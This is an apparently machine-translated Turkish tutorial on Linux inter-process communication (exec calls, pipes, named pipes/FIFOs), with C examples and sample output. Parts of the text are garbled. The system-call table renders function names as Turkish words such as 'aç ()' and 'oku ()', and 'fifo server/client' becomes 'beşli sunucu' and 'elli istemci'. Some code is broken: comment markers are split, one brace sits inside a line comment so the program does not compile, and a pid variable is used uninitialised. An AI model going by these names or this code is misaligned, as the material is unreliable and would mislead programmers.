/ * Dosya adı: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
Aşağıda, programın alt süreci olan execl_run_two_prgms.c'den çağrılan helloworld.c programı bulunmaktadır.
/ * Dosya Adı: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
Aşağıda, programın üst sürecinden çağrılan while_loop.c programı, execl_run_two_prgms.c bulunmaktadır. Bu programın argümanı bunu çalıştıran programdan geçirilir, yani execl_run_two_prgms.c.
/ * Dosya adı: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Derleme ve Yürütme Adımları
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Şimdi üst üste binen görüntü ile ilgili kütüphane işlevlerini görelim.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Bu işlev, argümanlarda, yol ve argümanlarda belirtildiği gibi mevcut çalışan süreç görüntüsünü yeni işlemle kaplar. Herhangi bir bağımsız değişkenin yeni bir süreç görüntüsüne iletilmesi gerekiyorsa, bu "bağımsız değişken" bağımsız değişkenleri aracılığıyla gönderilir ve son bağımsız değişken NULL olmalıdır.
Bu işlev, yalnızca bir hata durumunda bir değer döndürür. Görüntüyle ilgili aramaların üst üste gelme süreci aşağıda belirtildiği gibidir -
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Bu çağrılar, komut satırı argümanlarını (argv []), ortam değişkenlerini (envp []) ve diğer parametreleri iletir.
Aşağıdaki tablo, açıklamalarıyla birlikte çeşitli Sistem çağrılarını listeler.
Kategori | Sistem Çağrısı | Açıklama |
---|---|---|
Genel | aç () | Bu sistem çağrısı ya zaten var olan bir dosyayı açar ya da yeni bir dosya oluşturup açar. |
Genel | yaratıcı () | Yeni bir dosya oluşturur ve açar. |
Genel | oku () | Dosyanın içeriğini gerekli arabelleğe okur. |
Genel | yazmak () | Arabelleğin içeriğini dosyaya yazar. |
Genel | kapat () | Dosya tanımlayıcısını kapatır. |
Genel | stat () | Dosya hakkında bilgi sağlar. |
Borular | boru () | Okuma ve yazma için iki dosya tanımlayıcısı döndüren iletişim kanalı oluşturur. |
Adlandırılmış Borular veya Fifo | mknod () | FIFO'lar oluşturmak için bir bellek cihazı dosyası veya özel dosya oluşturur |
Adlandırılmış Borular veya Fifo | mkfifo () | Yeni bir FIFO oluşturur |
Paylaşılan Hafıza | shmget () | Yeni bir paylaşılan bellek bölümü oluşturur veya mevcut bölümün tanımlayıcısını alır. |
Paylaşılan Hafıza | shmat () | Paylaşılan bellek kesimini ekler ve kesimi, çağırma işleminin sanal belleğinin bir parçası yapar. |
Paylaşılan Hafıza | shmdt () | Paylaşılan bellek bölümünü ayırır. |
Paylaşılan Hafıza | shmctl () | Paylaşılan bellek için kontrol işlemlerini gerçekleştirir. Paylaşılan bellek için jenerik kontrol işlemlerinden çok azı paylaşılan bellek bölümünü (IPC_RMID) kaldırmak, paylaşılan belleğin bilgisini (IPC_STAT) almak ve mevcut paylaşılan belleğin (IPC_SET) yeni değerlerini güncellemektir. |
Mesaj Kuyrukları | msgget () | Yeni bir mesaj kuyruğu oluşturur veya halihazırda var olan bir mesaj kuyruğuna erişir ve kuyruğa mesaj / ları göndermek ve kuyruktan mesaj / ları almak gibi mesaj kuyruğuyla ilgili işlemleri gerçekleştirmek için tanıtıcıyı veya tanıtıcıyı alır. |
Mesaj Kuyrukları | msgsnd () | Gerekli kimlik numarasıyla gerekli mesaj kuyruğuna bir mesaj gönderir. |
Mesaj Kuyrukları | msgrcv () | Mesaj kuyruğundan bir mesaj alır. Varsayılan olarak, bu sonsuz bekleme işlemidir, aramanın bir mesaj alana kadar engelleneceği anlamına gelir. |
Mesaj Kuyrukları | msgctl () | Mesaj kuyruğu için kontrol işlemlerini gerçekleştirir. Mesaj kuyruğu için jenerik kontrol işlemlerinden çok azı, mesaj kuyruğunu (IPC_RMID) kaldırır, mesaj kuyruğunun bilgisini alır (IPC_STAT) ve mevcut mesaj kuyruğunun (IPC_SET) yeni değerlerini günceller. |
Semaforlar | semget () | Yeni bir semafor oluşturur veya mevcut semaforun tanımlayıcısını alır. Semaforlar, aynı nesne üzerinde çalışan çeşitli IPC'ler arasında senkronizasyon gerçekleştirmek için kullanılır. |
Semaforlar | semop () | Semafor değerleri üzerinde semafor işlemleri gerçekleştirir. Temel semafor işlemleri, semafor üzerindeki kilidi elde etmek veya serbest bırakmaktır. |
Semaforlar | semctl () | Semafor için kontrol işlemlerini gerçekleştirir. Semafor için jenerik kontrol işlemlerinden çok azı semaforu (IPC_RMID) kaldırır, semafor bilgilerini alır (IPC_STAT) ve mevcut semaforun (IPC_SET) yeni değerlerini günceller. |
İşaretler | sinyal () | Sinyalin (sinyal numarası) ve sinyal tutucunun düzeninin ayarlanması. Diğer bir deyişle, sinyal yükseldiğinde yürütülen rutini kaydetmek. |
İşaretler | sigaction () | Signal () ile aynı, sinyalin düzenini ayarlama, yani kayıtlı sinyalin alınmasından sonra kayıtlı sinyal işleyiciye göre belirli bir eylem gerçekleştirme. Bu sistem çağrısı, belirli sinyalleri bloke etme, sinyal işleyiciyi çağırdıktan sonra sinyal eylemini varsayılan duruma geri yükleme, kullanıcının ve sistemin tüketilen süresi, gönderme işleminin işlem kimliği gibi bilgileri sağlama gibi sinyal () üzerinde daha hassas kontrolü destekler. |
Bellek Eşleme | mmap () | Dosyaları belleğe eşleme. Belleğe eşleştirildikten sonra dosyalara erişmek, adresleri kullanarak verilere erişmek kadar kolaydır ve bu şekilde arama, sistem çağrıları kadar pahalı değildir. |
Bellek Eşleme | munmap () | Eşlenen dosyaların bellekten kaldırılması. |
Aşağıdaki tablo System V IPC ile POSIX IPC arasındaki farkları listelemektedir.
SİSTEM V | POSIX |
---|---|
AT & T, mesaj kuyrukları, paylaşımlı bellek ve semaforlar olmak üzere üç yeni IPC tesisi biçimi tanıttı (1983). | Uygulama programlama arayüzünü (API) tanımlamak için IEEE tarafından belirlenen Taşınabilir İşletim Sistemi Arayüzü standartları. POSIX, IPC'nin üç biçimini de kapsar |
SYSTEM V IPC tüm IPC mekanizmalarını, yani boruları, adlandırılmış kanalları, ileti kuyruklarını, sinyalleri, semaforları ve paylaşılan belleği kapsar. Ayrıca soket ve Unix Domain soketlerini de kapsar. | Hemen hemen tüm temel kavramlar Sistem V ile aynıdır. Yalnızca arayüze göre farklılık gösterir. |
Paylaşılan Bellek Arayüzü shmget (), shmat (), shmdt (), shmctl () çağrıları | Paylaşılan Bellek Arayüzü shm_open (), mmap (), shm_unlink () çağrıları |
Mesaj Kuyruğu Arayüzü Çağrıları msgget (), msgsnd (), msgrcv (), msgctl () | Mesaj Kuyruğu Arayüzü Çağrıları mq_open (), mq_send (), mq_receive (), mq_unlink () |
Semafor Arayüzü Semget (), semop (), semctl () çağrıları | Semafor Arayüzü Çağrıları Semaforlar sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Adsız veya Bellek tabanlı semafor sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
IPC nesnelerini tanımlamak için anahtarlar ve tanımlayıcılar kullanır. | IPC nesnelerini tanımlamak için adlar ve dosya tanımlayıcıları kullanır |
NA | POSIX Mesaj Kuyrukları select (), anket () ve epoll API'leri kullanılarak izlenebilir |
Msgctl () çağrısı sunar | Özniteliklere erişmek veya ayarlamak için işlevler (mq_getattr () ve mq_setattr ()) sağlar 11. IPC - System V & POSIX |
NA | Çok iş parçacıklı güvenli. Muteks kilitleri, koşullu değişkenler, okuma-yazma kilitleri gibi iş parçacığı senkronizasyon işlevlerini kapsar. |
NA | Mesaj kuyrukları için birkaç bildirim özelliği sunar (mq_notify () gibi) |
Durum / kontrol işlemlerini gerçekleştirmek için shmctl (), komutlar (ipcs, ipcrm) gibi sistem çağrıları gerektirir. | Paylaşılan bellek nesneleri, fstat (), fchmod () gibi sistem çağrıları kullanılarak incelenebilir ve değiştirilebilir. |
System V paylaşımlı bellek bölümünün boyutu, oluşturma sırasında sabittir (shmget () aracılığıyla) | Altta yatan nesnenin boyutunu ayarlamak için ftruncate () kullanabiliriz ve ardından munmap () ve mmap () (veya Linux'a özgü mremap ()) kullanarak eşlemeyi yeniden oluşturabiliriz. |
Boru, iki veya daha fazla ilgili veya birbiriyle ilişkili süreç arasındaki bir iletişim ortamıdır. Ya bir süreç içinde ya da çocuk ile üst süreçler arasında bir iletişim olabilir. İletişim ayrıca ebeveyn, çocuk ve torun arasındaki iletişim gibi çok seviyeli olabilir. İletişim, bir işlemin boruya yazılması ve diğerinin borudan okunmasıyla sağlanır. Boru sistemi çağrısını gerçekleştirmek için, biri dosyaya yazmak ve diğeri dosyadan okumak için iki dosya oluşturun.
Boru mekanizması, boruyla su doldurma, örneğin bir kova gibi gerçek zamanlı bir senaryo ile görüntülenebilir ve birisinin, örneğin bir kupa ile onu geri alması gibi. Doldurma işlemi boruya yazmaktan başka bir şey değildir ve okuma işlemi borudan almaktan başka bir şey değildir. Bu, bir çıktının (su) diğeri (kova) için girdi olduğu anlamına gelir.
#include<unistd.h>
int pipe(int pipedes[2]);
Bu sistem çağrısı, tek yönlü iletişim için bir kanal oluşturacaktır, yani iki tanımlayıcı oluşturur, birincisi borudan okumak için bağlanır ve diğeri boruya yazmak için bağlanır.
Tanımlayıcı pipedes [0] okumak içindir ve pipedes [1] yazmak içindir. Pipedes [1] 'e yazılanlar pipedes [0]' dan okunabilir.
Bu çağrı, başarı durumunda sıfır ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Dosya için temel işlemler okuma ve yazma olsa da, işlemleri yapmadan önce dosyayı açmak ve gerekli işlemler tamamlandıktan sonra dosyayı kapatmak önemlidir. Genellikle, varsayılan olarak, sırasıyla 0, 1 ve 2 dosya tanımlayıcılarına sahip giriş (standart giriş - stdin), çıkış (standart çıkış - stdout) ve hata (standart hata - stderr) için kullanılan her işlem için 3 tanımlayıcı açılır.
Bu sistem çağrısı, okuma / yazma / arama (lseek) gibi diğer dosya işlemleri için kullanılan bir dosya tanımlayıcı döndürecektir. Genellikle dosya tanımlayıcıları 3'ten başlar ve açılan dosya sayısı arttıkça bir sayı artar.
Açık sistem çağrısına aktarılan argümanlar yol adı (göreceli veya mutlak yol), dosyanın açılma amacını belirten bayraklardır (örneğin, okumak için açma, O_RDONLY, yazmak, O_WRONLY, okumak ve yazmak için, O_RDWR, mevcut dosyaya eklemek O_APPEND, O_CREAT ile mevcut değilse dosya oluşturmak için) ve kullanıcı veya sahip / grup / diğerleri için okuma / yazma / yürütme izinleri sağlayan gerekli mod. Mod sembollerle belirtilebilir.
Oku - 4, Yaz - 2 ve Yürüt - 1.
Örneğin: Sekizli değer (0 ile başlar), 0764, sahibin okuma, yazma ve yürütme izinlerine sahip olduğu, grubun okuma ve yazma izinlerine sahip olduğu, diğerlerinin okuma izinlerine sahip olduğu anlamına gelir. Bu aynı zamanda S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, 0700 | 0040 | 0020 | 0004 → 0764'ü ima eder veya çalıştırır.
Başarı durumunda bu sistem çağrısı, hata durumunda yeni dosya tanımlayıcı kimliğini ve -1'i döndürür. Hatanın nedeni, errno değişkeni veya perror () işlevi ile belirlenebilir.
#include<unistd.h>
int close(int fd)
Yukarıdaki sistem çağrısı kapatma zaten açılmış dosya tanımlayıcısı. Bu, dosyanın artık kullanımda olmadığı ve ilişkili kaynakların başka herhangi bir işlem tarafından yeniden kullanılabileceği anlamına gelir. Bu sistem çağrısı başarı durumunda sıfır ve hata durumunda -1 döndürür. Hatanın nedeni, errno değişkeni veya perror () işlevi ile belirlenebilir.
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
Yukarıdaki sistem çağrısı, fd dosya tanımlayıcısının argümanları, ayrılmış belleğe sahip uygun tampon (statik veya dinamik) ve tampon boyutuyla belirtilen dosyadan okumaktır.
Dosya tanımlayıcı kimliği, open () veya pipe () sistem çağrısı çağrıldıktan sonra döndürülen ilgili dosyayı tanımlamak içindir. Dosyadan okunmadan önce dosyanın açılması gerekir. Pipe () sistem çağrısının çağrılması durumunda otomatik olarak açılır.
Bu çağrı, başarı durumunda okunan bayt sayısını (veya dosyanın sonuyla karşılaşma durumunda sıfır) ve başarısızlık durumunda -1'i döndürür. Verinin mevcut olmaması veya dosyanın kapatılması durumunda, dönüş baytları istenen bayt sayısından daha küçük olabilir. Arıza durumunda uygun hata numarası belirlenir.
Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
Yukarıdaki sistem çağrısı, fd dosya tanımlayıcısının argümanları, ayrılmış belleğe sahip uygun bir arabellek (statik ya da dinamik) ve arabellek boyutu ile belirtilen dosyaya yazmaktır.
Dosya tanımlayıcı kimliği, open () veya pipe () sistem çağrısı çağrıldıktan sonra döndürülen ilgili dosyayı tanımlamak içindir.
Dosyaya yazılmadan önce dosyanın açılması gerekiyor. Pipe () sistem çağrısının çağrılması durumunda otomatik olarak açılır.
Bu çağrı, başarı durumunda yazılan bayt sayısını (veya hiçbir şey yazılmaması durumunda sıfır) ve başarısızlık durumunda -1'i döndürür. Arıza durumunda uygun hata numarası belirlenir.
Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Örnek Programlar
Aşağıda bazı örnek programlar verilmiştir.
Example program 1 - Boru kullanarak iki mesaj yazmak ve okumak için program.
Algoritma
Step 1 - Bir boru oluşturun.
Step 2 - Boruya bir mesaj gönderin.
Step 3 - İletiyi borudan alın ve standart çıktıya yazın.
Step 4 - Boruya başka bir mesaj gönderin.
Step 5 - İletiyi borudan alın ve standart çıktıya yazın.
Note - Mesajların alınması, tüm mesajlar gönderildikten sonra da yapılabilir.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- İdeal olarak, geri dönüş durumunun her sistem çağrısı için kontrol edilmesi gerekir. Süreci basitleştirmek için, tüm aramalar için kontroller yapılmaz.
Yürütme Adımları
Derleme
gcc -o simplepipe simplepipe.c
Yürütme / Çıktı
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Üst ve alt süreçleri kullanarak kanal aracılığıyla iki mesaj yazmak ve okumak için program.
Algoritma
Step 1 - Bir boru oluşturun.
Step 2 - Bir çocuk süreci oluşturun.
Step 3 - Ana süreç boruya yazar.
Step 4 - Alt süreç, mesajı borudan alır ve standart çıktıya yazar.
Step 5 - 3. ve 4. adımları tekrarlayın.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Yürütme Adımları
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Boruları Kullanarak İki Yönlü İletişim
Boru iletişimi tek yönlü iletişim olarak görülür, yani ya ana süreç yazar ve alt süreç okur ya da tam tersi, ancak her ikisi birden değil. Bununla birlikte, hem ebeveynin hem de çocuğun borulardan aynı anda yazması ve okuması gerekiyorsa, çözüm, boruları kullanan iki yönlü bir iletişimdir. İki yönlü iletişim kurmak için iki boru gereklidir.
İki yönlü iletişime ulaşmanın adımları aşağıdadır -
Step 1- İki boru oluşturun. Birincisi, ebeveynin yazması ve çocuğun okuması için, diyelim ki boru1. İkincisi, çocuğun yazması ve ebeveynin okuması için, diyelim ki boru2.
Step 2 - Bir çocuk süreci oluşturun.
Step 3 - Her iletişim için yalnızca bir uca ihtiyaç duyulduğundan istenmeyen uçları kapatın.
Step 4 - Ana süreçteki istenmeyen uçları kapatın, boru1'in sonunu okuyun ve boru2'nin sonunu yazın.
Step 5 - Alt süreçte istenmeyen uçları kapatın, boru1'in sonunu yazın ve boru2'nin sonunu okuyun.
Step 6 - İletişimi gerektiği gibi gerçekleştirin.
Örnek Programlar
Sample program 1 - Boruları kullanarak iki yönlü iletişim sağlamak.
Algoritma
Step 1 - Üst sürecin yazması ve alt sürecin okuması için boru1 oluşturun.
Step 2 - Alt sürecin yazması ve ana sürecin okuması için boru2 oluşturun.
Step 3 - Üst ve alt taraftan borunun istenmeyen uçlarını kapatın.
Step 4 - Bir mesaj yazmak için ebeveyn süreci ve ekranda okumak ve görüntülemek için alt süreç.
Step 5 - Bir mesaj yazmak için çocuk süreç ve ekranda okumak ve görüntülemek için ana süreç.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Yürütme Adımları
Derleme
gcc twowayspipe.c –o twowayspipe
Yürütme
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Borular, ilgili süreçler arasındaki iletişim içindir. İlişkisiz süreç iletişimi için boruları kullanabilir miyiz, örneğin, istemci programını bir terminalden ve sunucu programını başka bir terminalden yürütmek istiyor muyuz? Cevap Hayır. O halde ilişkisiz süreç iletişimini nasıl başarabiliriz, basit cevap Named Pipes. Bu, ilgili süreçler için çalışsa da, ilgili süreç iletişimi için adlandırılmış kanalların kullanılmasının bir anlamı yoktur.
Tek yönlü iletişim için bir boru ve iki yönlü iletişim için iki boru kullandık. Aynı durum Adlandırılmış Borular için de geçerli mi? Cevap hayır, Named Pipe çift yönlü iletişimi desteklediğinden, iki yönlü iletişim için (sunucu ile istemci arasındaki iletişim artı aynı anda istemci ve sunucu arasındaki iletişim) kullanılabilen tek adlandırılmış kanal kullanabiliriz.
Adlandırılmış boru için başka bir isim FIFO (First-In-First-Out). Bir tür özel dosya olan adlandırılmış bir kanal oluşturmak için (mknod ()) sistem çağrısını görelim.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Bu sistem çağrısı, sıradan dosya, aygıt dosyası veya FIFO gibi özel bir dosya veya dosya sistemi düğümü oluşturur. Sistem çağrısının argümanları yol adı, mod ve dev'dir. Yol adı, mod öznitelikleri ve cihaz bilgileriyle birlikte. Yol adı görelidir, eğer dizin belirtilmezse mevcut dizinde yaratılır. Belirtilen mod, aşağıdaki tablolarda belirtildiği gibi dosya türü ve dosya modu gibi dosya türünü belirten dosya modudur. Dev alanı, büyük ve küçük cihaz numaraları gibi cihaz bilgilerini belirtmektir.
Dosya tipi | Açıklama | Dosya tipi | Açıklama |
---|---|---|---|
S_IFBLK | özel blok | S_IFREG | Normal dosya |
S_IFCHR | özel karakter | S_IFDIR | Rehber |
S_IFIFO | FIFO özel | S_IFLNK | Sembolik bağlantı |
Dosya Modu | Açıklama | Dosya Modu | Açıklama |
---|---|---|---|
S_IRWXU | Sahibine göre oku, yaz, çalıştır / ara | S_IWGRP | Yazma izni, grup |
S_IRUSR | Okuma izni, sahip | S_IXGRP | Yürütme / arama izni, grup |
S_IWUSR | Yazma izni, sahibi | S_IRWXO | Başkaları tarafından okuyun, yazın, çalıştırın / arayın |
S_IXUSR | Yürütme / arama izni, sahip | S_IROTH | Okuma izni, diğerleri |
S_IRWXG | Gruba göre oku, yaz, çalıştır / ara | S_IWOTH | Yazma izni, diğerleri |
S_IRGRP | Okuma izni, grup | S_IXOTH | Yürütme / arama izni, diğerleri |
Dosya modu, X'in sahibi, Y'nin grubu ve Z'nin diğerlerini temsil ettiği 0XYZ gibi sekizlik gösterimle de temsil edilebilir. X, Y veya Z'nin değeri 0 ile 7 arasında değişebilir. Okuma, yazma ve çalıştırma değerleri sırasıyla 4, 2, 1'dir. Okuma, yazma ve çalıştırma kombinasyonlarında gerekliyse değerleri uygun şekilde ekleyin.
Diyelim ki 0640'tan bahsediyorsak, bu sahip için oku ve yaz (4 + 2 = 6), grup için oku (4) ve diğerleri için izin yok (0) anlamına geliyor.
Bu çağrı, başarı durumunda sıfır ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Bu kütüphane işlevi, adlandırılmış kanal için kullanılan özel bir FIFO dosyası oluşturur. Bu işlevin argümanları dosya adı ve moddur. Dosya adı, mutlak yol veya göreli yol olabilir. Tam yol adı (veya mutlak yol) verilmemişse, dosya yürütme işleminin geçerli klasöründe oluşturulur. Dosya modu bilgileri mknod () sistem çağrısında açıklandığı gibidir.
Bu çağrı, başarı durumunda sıfır ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Sunucuyu bir terminalde çalıştıran ve istemciyi başka bir terminalde çalıştıran bir program düşünelim. Program yalnızca tek yönlü iletişim gerçekleştirir. İstemci, kullanıcı girişini kabul eder ve mesajı sunucuya gönderir, sunucu mesajı çıktıya yazdırır. İşlem, kullanıcı "end" dizesini girene kadar devam eder.
Bunu bir örnekle anlayalım -
Step 1 - İki süreç oluşturun, biri beşli sunucu ve diğeri elli istemci.
Step 2 - Sunucu işlemi aşağıdakileri gerçekleştirir -
Oluşturulmamışsa, “MYFIFO” adıyla adlandırılmış bir kanal oluşturur (mknod () sistem çağrısını kullanarak).
Adlandırılmış boruyu salt okunur amaçlarla açar.
Burada, Sahip için okuma ve yazma izinlerine sahip FIFO oluşturuldu. Grup için okuyun ve Diğerleri için izin yok.
Müşteriden gelen mesajı sonsuza kadar bekler.
İstemciden alınan mesaj "bitmemiş" ise, mesajı yazdırır. Mesaj "son" ise, fifo'yu kapatır ve işlemi sonlandırır.
Step 3 - İstemci süreci aşağıdakileri gerçekleştirir -
Adlandırılmış boruyu yalnızca yazma amacıyla açar.
Kullanıcıdan gelen dizeyi kabul eder.
Kullanıcının "end" veya "end" dışında girdi girip girmediğini kontrol eder. Her iki durumda da sunucuya bir mesaj gönderir. Bununla birlikte, dizge "son" ise, bu FIFO'yu kapatır ve işlemi de sonlandırır.
Kullanıcı "end" dizesini girene kadar sonsuz sayıda tekrar eder.
Şimdi FIFO sunucu dosyasına bir göz atalım.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Derleme ve Yürütme Adımları
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Şimdi, FIFO istemci örnek koduna bir göz atalım.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Gelen çıktıya bir bakalım.
Derleme ve Yürütme Adımları
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Adlandırılmış Borular Kullanarak İki yönlü İletişim
Borular arasındaki iletişimin tek yönlü olması amaçlanmıştır. Borular genel olarak tek yönlü iletişimle sınırlıydı ve iki yönlü iletişim için en az iki boruya ihtiyaç duyuyordu. Borular yalnızca birbiriyle ilişkili süreçler içindir. Borular ilgisiz süreç iletişimi için kullanılamaz, örneğin bir işlemi bir terminalden ve başka bir işlemi başka bir terminalden yürütmek istiyorsak, borularla bu mümkün değildir. İki süreç arasında iletişim kurmanın basit bir yolu var mı, mesela ilgisiz süreçleri basit bir şekilde? Cevap Evet. Adlandırılmış kanal, iki veya daha fazla ilgisiz süreç arasındaki iletişim içindir ve ayrıca iki yönlü iletişime sahip olabilir.
Şimdiden, adlandırılmış kanallar arasındaki tek yönlü iletişimi, yani istemciden sunucuya giden mesajları gördük. Şimdi, iki yönlü iletişime bir göz atalım, yani sunucuya mesaj gönderen istemci ve mesajı alan sunucu ve aynı adlandırılmış boruyu kullanarak istemciye başka bir mesaj gönderiyor.
